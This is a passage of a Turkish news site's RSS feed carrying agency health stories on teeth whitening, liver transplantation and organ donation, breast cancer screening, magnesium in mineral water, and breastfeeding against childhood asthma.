kaynaklansalar da bazen ilk sinyali olabiliyor.</span></span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberin Kaynağı: Beyaz Haber Ajansı</p><p style="text-align: left;">Not :&nbsp;<font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber&nbsp;</span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;">&nbsp;</span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Mon, 31 Oct 2022 12:04:04 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/akciger-kanserinin-8-onemli-sinyali-FaH8sjhF.jpg"/>
            </item>
                                <item>
                <title>Diş Beyazlatma Hakkında Bilinmesi Gerekenler</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/dis-beyazlatma-hakkinda-bilinmesi-gerekenler-548296</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/dis-beyazlatma-hakkinda-bilinmesi-gerekenler-548296</guid>
                <description><![CDATA[Bembeyaz dişlerim olsun diyorsanız, dikkat! Diş beyazlatma işlemiyle ilgili konuşan Acıbadem Ankara Hastanesi Protez Uzmanı Dr. Eda Özdere ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span><strong>Bembeyaz dişlerim olsun diyorsanız, dikkat!</strong></span></span></p>  <div> <p><span><span>Diş beyazlatma işlemiyle ilgili konuşan <strong>Acıbadem Ankara Hastanesi Protez Uzmanı Dr. Eda <span>Özdere,</span></strong> “Sağlıklı bir ağzın estetik açıdan güzel görünmesi için son yılların en çok tercih edilen estetik uygulamalarından biridir” dedi. <strong>Dr. Eda <span>Özdere işlemi</span></strong> “Diş beyazlatma, dişte var olan renk bozukluklarının giderilmesi veya zaman içerisinde yoğun çay, kahve ve sigara tüketimi gibi nedenlerden dolayı diş minesinde oluşan renklenmeleri gidermek için diş hekimi tarafından, diş beyazlatma jelleri yardımıyla gerçekleştirilen işlemdir” ifadeleriyle tanımladı. </span></span></p>  <p><span><span><span>İnsanlarla iletişimde sağlıklı bir ağız ve güzel görünen beyaz dişler oldukça önemli olduğuna dikkat çeken </span><strong>Özdere</strong><span> “ Şekil bozukluklarının yanı sıra daha koyu ve bakımsız dişler sosyal hayatı olumsuz etkileyebilmektedir. Beyazlatıcılı diş macunları ve evde uygulayabileceğiniz diş beyazlatma kalemi veya stripleri gibi çeşitli diş beyazlatma yöntemleri ile bir miktar beyazlatma sağlasa da profesyonel bir diş beyazlatma sistemi ile klinikte diş hekimleri tarafından yapılan ağartma ile daha sağlıklı ve beyaz dişlere sahip olmak mümkündür” dedi.</span></span></span></p>  <p><span><span><strong><span>“Bembeyaz dişler hayal değil”</span></strong></span></span></p> <p><span><span><span>”Anne karnında veya bebeklik döneminde kullanılan antibiyotikler, süt dişlerinin daimi dişlere dönüştüğü karma dişlenme döneminde meydana gelen yapısal bozukluklar, çay, kahve, sigara başta olmak üzere diş rengini etkileyebilecek gıdaların fazla tüketimi ve aşırı florür tüketimi dişlerde renk değişikliği ve beyazlık kaybına neden olabilir” açıklamasında bulunan </span><strong>Dr. Eda Özdere</strong><span>, dişlerin hem içten hem de dıştan renk değiştirebildiğini söyledi. “İç renklenme, diş minesine nüfuz etmiş ve diş fırçalama ile çıkarılamayan lekelerdir. Ağartma işlemi de bu tür renklendirmelerde iyi sonuç verir. Dış renklenme ise dişleri lekeleyebilecek çay, kahve ve sigara gibi maddelerin sık tüketilmesinden kaynaklanır. Bu tür lekelerden çoğunlukla basit diş taşı temizliği sonrası uygulanan polisaj (parlatma) işlemi ile kurtulmak mümkündür. Bu süreçte önemli olan dişlerinize uygulanacak tedavinin diş hekiminize danıştıktan sonra belirlenmesidir” açıklamasında bulundu.</span></span></span></p>  <p><span><span><span>Temel olarak uygulandıkları yere göre iki tip beyazlatma yöntemi olduğunu ifade eden </span><strong>Acıbadem Ankara Hastanesi Protez Uzmanı Dr. Eda <span>Özdere </span></strong><span>teknikleri şu şekilde anlattı;</span></span></span></p>  <p><span><span><span>“Ev beyazlatma sistemi için diş hekiminiz, ağzınızdan alınan ölçü ile size özel hazırlanmış plastik ağızlık hazırlar. Hasta evde bu ağızlığın içerisine jeli yerleştirerek beyazlatma işlemini kendisi gerçekleştirir. Bu işlem ile ortalama bir hafta içerisinde istenilen beyazlatma sağlanır. Ancak uygulanan jele bağlı olarak bu plastik ağızlığın gün içinde 4-8 saat takılması gerekebilir.</span></span></span></p>  <p><span><span><span>Ofis beyazlatma sistemlerinde ise diş hekiminizin klinik ortamında beyazlatma jeli ve ışıktan oluşan bir saatlik Power Bleaching uygulaması ile diş renginizi kısa sürede açarak beklentilerinizi karşılayacak bir beyazlığa ulaşabilecek sistemlerdir. Ofis beyazlatma sistemleri en hızlı, en güvenilir ve etkili beyazlatma uygulamasıdır.”</span></span></span></p>  <p><span><span><span>“Diş beyazlatmanın etkisi kişiden kişiye değişmekle birlikte yaklaşık 6-24 ay kadar kalıcıdır” diyen </span>Dr. Eda <span>Özdere “Beyazlatma işlemi sırasında ve işlemden sonraki yaklaşık 2 hafta boyunca çay, kahve, sigara gibi dişlerinizin rengini değiştiren şeylerden uzak durmalısınız” uyarısında bulundu.</span></span></span></p>  <p><span><span><strong>“Beyazlatma oranı diş yapısına göre belirlenir”</strong></span></span></p> <p><span><span>“Diş beyazlatma işlemi sırasında kullanılan solüsyonlar zararsızdır. Diş ve diş eti hastalığınız olmadığı sürece klinikte diş hekiminiz dişlerinizi beyazlatabilir.” açıklamasında bulunan <strong>Acıbadem Ankara Hastanesi Protez Uzmanı Dr. Eda <span>Özdere “</span></strong>Önemli olan diş beyazlatmada kullanılacak ilaçların diş yapınıza göre diş hekiminiz tarafından belirlenmesidir. Diş renginizin beyazlama oranı kullanılan ilaca ve dişinizin yapısına göre değişmektedir”dedi.</span></span></p>  <p><span><span>“Diş beyazlatma işlemi sırasında kullanılan diş beyazlatma jelleri kişiye bağlı olarak dişlerde farklı oranda hassasiyete neden olabilir” açıklamasında bulunan <strong>Dr. Eda <span>Özdere</span></strong> “Özellikle sıcak ve soğuk içeceklere karşı hassasiyet sizi rahatsız edebilir” dedi. Bunun beklenen bir yan etki olduğunu belirten <strong><span>Özdere</span></strong> “Önemli olan 24-48 saat içerisinde hassasiyetin ortadan kalkmasıdır. Diş hekiminiz hassasiyeti azaltmak ve süreci daha kolay atlatmak için florür uygulayabilir ve hassasiyeti azaltan diş macunu önerebilir” ifadelerini kullandı.</span></span></p>  <p><span><span>Diş çürüğü veya benzeri bir problem varsa veya uzun süredir diş eti problemi yaşanıyorsa öncelikle bu problemlerin çözülmesi gerektiğini belirten <strong>Acıbadem Ankara Hastanesi Protez Uzmanı Dr. Eda <span>Özdere,</span></strong> hamileler, emziren anneler ve henüz gelişimini tamamlamamış çocuklara beyazlatma önerilmediğini söyledi.</span></span></p> </div>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberin Kaynağı: Beyaz Haber Ajansı</p><p style="text-align: left;">Not :&nbsp;<font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber&nbsp;</span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;">&nbsp;</span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Mon, 31 Oct 2022 12:03:07 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/dis-beyazlatma-hakkinda-bilinmesi-gerekenler-OzhBkxDf.jpg"/>
            </item>
                                <item>
                <title>Karaciğer Nakline Götüren Bu Nedenlere Dikkat!</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/karaciger-nakline-goturen-bu-nedenlere-dikkat-548288</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/karaciger-nakline-goturen-bu-nedenlere-dikkat-548288</guid>
                <description><![CDATA[Vücudun fabrikası konumunda olan karaciğer, herhangi bir sebepten dolayı hasar gördüğünde yaşamsal fonksiyonlar olumsuz etkileniyor. Günümüzde ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span>Vücudun fabrikası konumunda olan karaciğer, herhangi bir sebepten dolayı hasar gördüğünde yaşamsal fonksiyonlar olumsuz etkileniyor. Günümüzde kronik karaciğer yetmezliğine neden olan hastalıkların başında ise karaciğer yağlanması geliyor. Karaciğer nakli ise yetmezliğin en etkin tedavisi olarak öne çıkıyor. Ülkemizde canlı vericiden yapılan nakil sayıları istenilen düzeyin de üstündeyken, organ bağışının da bu anlamda ne kadar önemli olduğu ortaya çıkıyor. Organ bağışının artmaması nedeniyle canlıdan nakillerin sayısı gün geçtikçe artıyor. Memorial Şişli Hastanesi Organ Nakli Merkezi Başkanı Prof. Dr. Koray Acarlı, “3-9 Kasım Organ Bağışı Haftası” nedeniyle, karaciğer nakline neden olan hastalıklar ve organ bağışının önemi hakkında bilgi verdi.  </span></span></p>  <p><span><span>Karın boşluğunun sağ üst kısmında bulunan karaciğer vücudun en büyük organıdır. Bunun yanında karaciğer pek çok yaşamsal fonksiyonu da üstlenir. Vücudun fabrikası olarak çalışan bu organın bazı sebeplerden dolayı hasar görmesi sonucu pek çok hastalık ortaya çıkabilir.  Bu hastalıkların pek çoğunun ortak özelliği erken evrelerde belirti vermemesidir. Bu hastalıklar arasında alkole bağlı karaciğer yağlanması, alkole bağlı olmayan karaciğer yağlanması, Hepatit B ve C, Wilson, Hemokromatoz, primer biliyer siroz, primer sklerozan kolanjit, biliyer artrezi sayılabilmektedir. Bu hastalıklar öncelikle siroza sebep olmaktadır. Siroz toplumda bir hastalık olarak bilinse de, aslında karaciğer yapısının bozulması anlamına gelmektedir. </span></span></p>  <p><span><span><strong>İlerleyen karaciğer hastalığında tek tedavi karaciğer nakli</strong></span></span></p> <p><span><span>Karaciğer sirozu da ilerleme durumuna göre evrelere ayrılabilir. İlk iki evrede hastalarda düzenli hekim kontrolü sağlanarak sorunun ilerlemesi minimuma indirilebilir. Tedavilerde genelde karaciğerde sertleşmiş skar dokusunun ilerlemesinin önüne geçmek, sorunun yol açtığı komplikasyonları engellemek esastır. Bu süreçte karaciğere zararlı olan ilaç kullanımından, alkolden, sağlıksız besinlerden uzaklaşmak önem taşımaktadır. Eğer siroz otoimmün bir durumdan dolayı olmuşsa bağışıklık sistemini baskılayan ilaçlar, hepatitten kaynaklanıyorsa antiviral ilaçlar kullanılır. Ancak durum ileri düzeye ulaşırsa tek tedavi yöntemi karaciğer naklidir.</span></span></p>  <p><span><span><strong>Karaciğer yağlanmanız olup olmadığını öğrenin</strong></span></span></p> <p><span><span>Genelde en yaygın karaciğer nakli sebebi Hepatit B, Hepatit C, alkole bağlı karaciğer hastalığı görünürken son yıllarda alkole bağlı olmayan karaciğer yağlanması nedeniyle karaciğer nakli olanların sayısı artış göstermektedir. NASH olarak bilinen bu hastalık dünya üzerinde de en yaygın karaciğer nakli sebepleri arasında neredeyse birinci sıraya yerleşmek üzeredir ve toplumda hemen hemen herkeste karaciğer yağlanması görülmektedir. Pek çok kişi karaciğer yağlanmasını önemsememekte, hayatlarına bir engel olacağını düşünmemektedir. </span></span></p>  <p><span><span><strong>Karaciğer yağlanması ilk etapta belirti vermiyor</strong></span></span></p> <p><span><span>Başlangıçta yağlı karaciğere sahip kişilerde karaciğer fonksiyonlarının normal olduğu görülür. Karaciğerin bozulduğu ilk aşamalarda kan tetkikleriyle anlaşılmaz. Ancak biyopsi veya fibroscan gibi yöntemlerle karaciğerin yapısının bozulması anlaşılır. İlk etapta belirti vermediği için de tehlikeli bir durumdur. Bu nedenle karaciğer nakline gitmemek adına yağlı karaciğer sorunu olan hastaların kilo vermesi, sağlıklı beslenmesi, egzersizlerine önem vermesi gerekmektedir. Gerek Batı toplumlarında, gerekse Doğu toplumlarında karaciğer açısından en tehlikeli hastalıklardan biri olduğu için özellikle buna dikkat edilmelidir. Yapılan bilimsel çalışmalarda bu konu ile ilgili çarpıcı veriler ortaya konulmuştur. Kilo sorunu olmayan kişilerde de karaciğer yağlanması görülmektedir. Bu tamamen sağlıksız beslenmenin ve hareket eksikliğinin bir sonucudur. Kilolu olmayan kişilerde karaciğer yağlanması oranı yüzde 15 iken, NASH oranı yüzde 3’tür.  Birinci ve ikinci sınıf şişman olanlarda NASH oranı yüzde 20, aşırı kilolularda NASH oranı yüzde 40 civarındadır. Türkiye'de yetişkin nüfusun yüzde 66,8'i fazla kilolu, yüzde 32.1'i obez durumdadır. Obezite karaciğer yağlanmasını; dolayısıyla da karaciğer nakillerini getirebilmektedir. </span></span></p>  <p><span><span><strong>Canlıdan nakil çok ancak kadavradan organ bağışı yok</strong></span></span></p> <p><span><span>Organ nakli modern tıbbın en büyük gelişmelerinden biridir. 1960’lı yıllardan beri organ nakli sayesinde on binlerce hayat kurtulmuştur ve kurtulmaya devam etmektedir. Günümüzde organ nakli başarısı üst düzeydedir. Ülkemizde kadavradan değil ama canlıdan nakil oranları da gün geçtikçe artmaktadır. Türkiye canlıdan organ nakli konusunda oldukça ileri bir seviyededir. Ülkemiz canlıdan nakilde Güney Kore ile birincilik ve ikincilik için mücadele etmektedir. Fakat organ bağışı için aynı şey söylenememektedir. </span></span></p>  <p><span><span><strong>Organ bağışı aynı anda pek çok hayatı kurtarıyor<br/>  </strong><br/>  Canlıdan nakil oranları yüksek olsa da, kadavradan organ bağış rakamları bir türlü istenen seviyeye gelememektedir. Oysa organ bağışı, önemli ve hayat kurtarıcı niteliktedir. Organ bağışı sayesinde başka birinin hayatını kurtarmak ve onun hayata tutunmasını sağlamak mümkündür. Hayatın içinde bireylerin ne zaman neye ihtiyacı olacağı bilinmemektedir. Bir kişi ne kadar sağlıklı olursa olsun, günün birinde kendisini organ beklerken bulabilir. Bu nedenle batıl inançları ya da önyargıları bir kenara bırakıp, gönüllülük esasıyla hareket edip organ bağışı yapmak, topluma belki de kişinin kendi sevdiklerine bir umut kapısı olabilir. Buradan hareketle diğer insanların ihtiyaçlarına daha duyarlı yaklaşmanın gerekliliğine halkın ilgisi ve dikkatini çekmek ve organ bağışını artırmak için yapılan tüm çalışmalar değerlidir. </span></span></p>  <p><span><span><strong>Organ bağışı gündelik hayata engel olmaz</strong></span></span></p> <p><span><span>Organ bağışı gündelik hayata engel olacak bir durum değildir. Organ bağışı, para bağışı gibi bir şey değildir. Belki para bağışı yapılırken bireyler, “Belki bir kazak alırdım” diyerek bağış yapmaktan geri durabilir. Fakat organ bağışında böyle bir durum bulunmamaktadır. Üstelik organ bağışı bu anlamda ekonomik olmanın yanında manevi açıdan da huzur verici niteliktedir. Çünkü organ bağışı kişinin öldükten sonra farklı bir bedene hayat vermesi, farklı bir bedende hayatına devam etmesi anlamına da gelir. Pek çok kişi organ bağışına kendi başına bir hastalık gelene kadar mesafeli durmaktadır. O zaman da istenilen organ bulunamadığında canlı nakil seçeneği devreye girmektedir. Kişiler karaciğeri ya da böbreği hastalandığında yakınlarından organ alabilmektedir. </span></span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberin Kaynağı: Beyaz Haber Ajansı</p><p style="text-align: left;">Not :&nbsp;<font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber&nbsp;</span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;">&nbsp;</span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Mon, 31 Oct 2022 11:43:03 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/karaciger-nakline-goturen-bu-nedenlere-dikkat-wPJ2DI9f.jpg"/>
            </item>
                                <item>
                <title>Meme kanserine karşı uyarı</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/meme-kanserine-karsi-uyari-548243</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/meme-kanserine-karsi-uyari-548243</guid>
                <description><![CDATA[MERSİN (İGFA) - Sağlık İşleri Daire Başkanlığı Halk Sağlığı ve Denetim Şube Müdürü Uzman Doktor Bahar Gülcay Çat Bakır, “Meme kanseri Türkiye'de ...]]></description>
                <content:encoded><![CDATA[<img src="https://www.igfhaber.com/static/me/meme-kanserine-karsi-uyari-1667197599-16-x750.jpg" /><br /><p><p>MERSİN (İGFA) - Sağlık İşleri Daire Başkanlığı Halk Sağlığı ve Denetim Şube Müdürü Uzman Doktor Bahar Gülcay Çat Bakır, <strong>“Meme kanseri Türkiye'de kadınlarda en çok görülen kanser tipi. Eğer erken dönemde tanı konur ve tedbir alınırsa, tedavisi mümkün olan bir hastalık. Meme kanserinde erken tanıyı koymak için de, 20 yaşından 40 yaşına kadar olan dönemlerde her ay kendi kendine muayeneyi öneriyoruz. 40 yaşından sonra da senelik rutin kontroller öneriyoruz</strong>. <strong>Erken yaşta tanı almış bir yakınımız varsa, onun yaşı baz alınarak ona göre daha erken yaşlarda taramaya girilmesi öneriliyor”</strong> dedi.</p>  <p>Meme kanserinde yaşam şeklinin yanı sıra genetik faktörlerin de etken olduğuna değinen Bakır, meme kanserinden korunmak için yapılması gerekenlere değinerek, <strong>“Kilo kontrolü, sağlıklı bir vücut, sağlıklı bir bedenle meme kanserine yakalanmayı engelleyebiliriz. Ama kalıtsal nedenlerle de bu hastalık görülebiliyor. Ailede meme kanseri öyküsünün olması, bazı hormon tedavilerinin alınması gibi faktörler nedeniyle hastalık olabiliyor. Erken tanı konan bireylerde meme kanserinin tedavi süreci çok daha rahat ve kolay. Tamamen iyileşme sağlanabilen bir hastalık haline geldi”</strong> ifadelerine yer verdi.</p>  <p><strong>Büyükşehir personelinden ‘Erken teşhis hayat kurtarır’ mesajı</strong></p>  <p>Ambulans Birimi çalışanı Batuhan Tazegül, <strong>“Meme kanseri farkındalık ayında, Sağlık İşleri Daire Başkanlığı olarak, biz de bu farkındalığın bir parçası olduk. Meme kanserinin farkında olalım, erken teşhis için geç kalmayalım” </strong>dedi.</p>  <p>Meme kanserine dikkat çekmek isteyen bir diğer personel Mustafa Güngör de <strong>“Büyükşehir Belediyesi çalışanları olarak, meme kanseri farkındalığına dikkat çekmek için bizler de varız. Bu hastalıktan kurtulmak, kişilerin elinde. Erken teşhis hayat kurtarır” </strong>diye konuştu.</p>  <p>Erken teşhisin önemine değinen personel Sergen Duru, <strong>“Meme kanseri farkındalık ayında, bu farkındalığı hasta ve yakınlarına iletmek için pembe kurdeleler takıyoruz”</strong> derken, personel Ceyhan Taşkın ise, <strong>“Ülkemizde ve dünyada en sık görülen ve en fazla ölüme neden olan kanser türü, meme kanseri. Büyükşehir Belediyesi olarak, biz de bu farkındalığın destekçisiyiz. Erken teşhis her zaman hayat kurtarır”</strong> dedi.</p></p><p style="text-align: center; ">Haberin Kaynağı: İGF Haber Ajansı</p><p style="text-align: left;">Not :&nbsp;<font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber&nbsp;</span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">İGF Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;">&nbsp;</span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Mon, 31 Oct 2022 10:00:04 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/meme-kanserine-karsi-uyari-dSAbzH59.jpg"/>
            </item>
                                <item>
                <title>Daha sağlıklı kemikler için maden suyu tüketimi ihmal edilmemeli</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/daha-saglikli-kemikler-icin-maden-suyu-tuketimi-ihmal-edilmemeli-548154</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/daha-saglikli-kemikler-icin-maden-suyu-tuketimi-ihmal-edilmemeli-548154</guid>
                <description><![CDATA[Vücut dengesini korumak için ihtiyaç duyulan kalsiyum, magnezyum gibi besin ögelerinin eksikliği, kemik hastalıkları başta olmak üzere, önemli ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span><strong><span>Vücut dengesini korumak için ihtiyaç duyulan kalsiyum, magnezyum gibi besin ögelerinin eksikliği, kemik hastalıkları başta olmak üzere, önemli sağlık sorunlarına davetiye çıkarıyor. Uzmanlar, düzenli maden suyu tüketiminin, magnezyum ihtiyacını gidererek kemik sağlığını korumada önemli bir araç olabileceğine dikkat çekiyor. </span></strong></span></span></p>  <p><span><span>Magnezyum, insan sağlığı için önemli minerallerden biri olarak öne çıkıyor. Kemik gelişiminde ve sağlığında kalsiyum ve D vitamininin etkileri iyi biliniyor olsa da magnezyumun (Mg) önemi çoğu zaman göz ardı ediliyor. Vücuttaki magnezyum depolarının yarısı doku ve organlardaki hücrelerde, diğer yarısı da kemik hücrelerinde kalsiyum ve fosfatla birlikte yer alıyor. Magnezyumun yalnızca 1 kadarı kanda serbest halde bulunuyor.</span></span></p>  <p><span><span><strong>Magnezyum eksikliği kemik erimesine neden oluyor</strong><br/> <br/>  Magnezyum eksikliğinin önemli sağlık sorunlarına yol açtığını söyleyen Dr. Şule Aktaç: “Magnezyum yetersizliğinden kaynaklı oluşan hastalıklar bir anda kendini belli eden değil, zamanla ortaya çıkan hastalıklardır. Hücrelerin yetersiz düzeyde magnezyum emilimi sonucunda, kemiğin önemli bileşenlerinin eksikliğine, iltihap yapıcı bileşenlerin artışına, vücudun kalsiyum dengesini sağlayan paratiroid hormonunun ve D vitamini düzeylerinin azalmasına neden oluyor. Magnezyum eksikliğinin sebebi kişiden kişiye farklılık gösterebiliyor. Ispanak, pazı, bamya, fındık, fıstık gibi oksalat içeren besinleri fazla tüketmenin sonucunda magnezyum eksikliği ortaya çıkabiliyor. Ayrıca aşırı alkol tüketen insanlarda da magnezyum eksikliğine sıkça rastlanabiliyor. Bütün bu sebepler kemik erimesi gibi hastalıklara sebep olur. Bu hastalıkları önlemek için magnezyum dengesinin korunması gerekiyor. Magnezyum, kalsiyumla birlikte çalışır ve etkin olabilmeleri için her iki mineralin uygun oranda alınması gerekir. Beslenme düzeninde kalsiyum-magnezyum oranının 2:1 olmasını öneriyoruz. Örneğin 100 mg kalsiyum alınıyorsa 50 mg da magnezyum alınmalı. Bu şekilde vücudun besin dengesi korunmuş olur.” dedi.</span></span></p>  <p><span><span><strong>Kızılay Erzincan Maden Suyu, magnezyum oranında en zengini<br/>  </strong><br/>  Maden suyu tüketimi ile magnezyum eksikliğinin giderilebileceğine değinen Aktaç, “Kemik erimesi gibi kemik hastalıklarının önüne geçebilmek veya erteleyebilmek için önemli bir mineral olan magnezyumun yeterli alımı için besin kaynaklarının iyi bilinmesi gerekiyor. Vücuttan atılımları artıran ve emilimi azaltan durumları tespit edebilmek için tüketilen besin ögelerine dikkat edilmesi gerekiyor. Türkiye Beslenme Rehberi’ne göre magnezyumun önerilen günlük alım miktarı yetişkin erkekler için 350 mg, yetişkin kadınlar içinse 300 mg’dır. Ülkemizde ise bu oranlar önerilen miktarın altında kalmış durumda. Günlük magnezyum tüketimi yetişkin erkeklerde 324 mg, yetişkin kadınlarda ise 260 mg düzeyinde. Maden suyu ise bu eksikliği gidermek için en sağlıklı ve kolay yollardan birisi. Vücudun besin dengesini sağlayan maden suyu, doğal yollarla magnezyum takviyesi yapma imkanı veriyor. Kızılay Erzincan Maden Suyu ise Türkiye’nin en zengin magnezyum oranına sahip maden suyu konumunda. 200 mililitrelik şişesinde 63,5mg oranıyla magnezyum olarak oldukça zengin durumda.” dedi.</span></span></p>  <p><span><span><strong><span>Uluslararası Maden Suyu Kongresi 2. kez toplanacak</span></strong></span></span></p> <p><span><span><span>Maden sularının üretiminden tüketiciye erişimine kadar geçen her süreçteki yansımalarının disiplinler arası bir yaklaşımla ele alınacağı <strong>“II. Uluslararası Maden Suyu Kongresi” </strong>17-18 Kasım 2022 tarihleri arasında İstanbul’da düzenlenecek. Kongreye maden suyu hakkında çalışma yürüten tıp, beslenme, işletme ve gıda mühendisliği başta olmak üzere ilgili tüm alanlardan ulusal ve uluslararası paydaşlar, araştırmacılar ve akademisyenler katılacak.</span></span></span></p>Kaynak:  (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberin Kaynağı: Beyaz Haber Ajansı</p><p style="text-align: left;">Not :&nbsp;<font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber&nbsp;</span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;">&nbsp;</span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Sun, 30 Oct 2022 11:27:04 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/daha-saglikli-kemikler-icin-maden-suyu-tuketimi-ihmal-edilmemeli-Tt95N6ig.jpg"/>
            </item>
                                <item>
                <title>Bebeğinizi Uzun Süre Emzirerek Astım Olmasını Engelleyin</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/bebeginizi-uzun-sure-emzirerek-astim-olmasini-engelleyin-547889</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/bebeginizi-uzun-sure-emzirerek-astim-olmasini-engelleyin-547889</guid>
                <description><![CDATA[Astım çocukluk döneminde sık görülen bir durumdur, fakat bebeklik dönemindeki emzirmeye bağlı olarak çocuğunuzun astım olma ihtimalini ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span><strong>Astım çocukluk döneminde sık görülen bir durumdur, fakat bebeklik dönemindeki emzirmeye bağlı olarak çocuğunuzun astım olma ihtimalini önleyebilirsiniz. Besin Alerjisi Derneği üyesi Alerji Diyetisyeni Ecem Tuğba Özkan bebeğinizi sadece anne sütü ile besleyerek ve uzun süreli emzirme ile astımdan nasıl koruyacağınızı anlattı.</strong></span></span></p>  <p><span><span><strong>Astım</strong>, okul çağındaki çocukların 14'ünü etkileyen, çocukluk çağında en sık görülen kronik bir sağlık sorunudur. Astım sıklıkla erken çocukluk döneminde ortaya çıktığından, yaşamın erken dönemlerinde çevresel etkenlerin önemli bir rolü olduğunu düşündürmektedir.</span></span></p>  <p><span><span><strong>Anne sütü</strong>, bebek büyümesini desteklemek için sağlıklı beslenme sağlamanın yanı sıra, doğuştan gelen ve bağışıklığın gelişimini destekleyen çok sayıda bileşen içerir. Bebek beslenmesi de, solunum yolu enfeksiyonlarını ve astımın gelişimsel programlanmasını etkileyebilecek bir diğer önemli etkendir. Dünya Sağlık Örgütü, doğumdan sonraki 1 saat içinde emzirmeye erken başlanmasını, yaşamın ilk altı ayında sadece anne sütü ile beslenmeyi ve iki yaşına kadar veya daha fazlasına kadar emzirmeye devam edilmesini önermektedir.</span></span></p>  <p><span><span>Yapılan araştırmalar, bir anne ne kadar uzun süre sadece emziriyorsa, çocuğunun astım veya astımla ilgili hastalıkları olma olasılığının o kadar düşük olduğunu göstermiştir. 2-4 ay anne sütü ile beslenen bebeklerin, 2 aydan az anne sütü ile beslenen bebekler kadar astım sonucu olma olasılığı sadece 64; 5-6 ay emzirilenlerde 61, 6 aydan fazla emzirenlerde ise 52 dir.</span></span></p>  <p><span><span>Ayrıca, formul mama, meyve suları veya diğer besinlerle beslenen, yani yalnızca anne sütüyle beslenmeyen bebeklerde emzirme süresinin aynı düzeyde koruma sağlamadığı ortaya çıkmıştır. </span></span></p>  <p><span><span>Kısaca, uzun süreli emzirme ile çocuklarda astımın gelişmesi önlenmesine yardımcı olabilirsiniz. </span></span></p>Kaynak: (BYZHA) - Beyaz 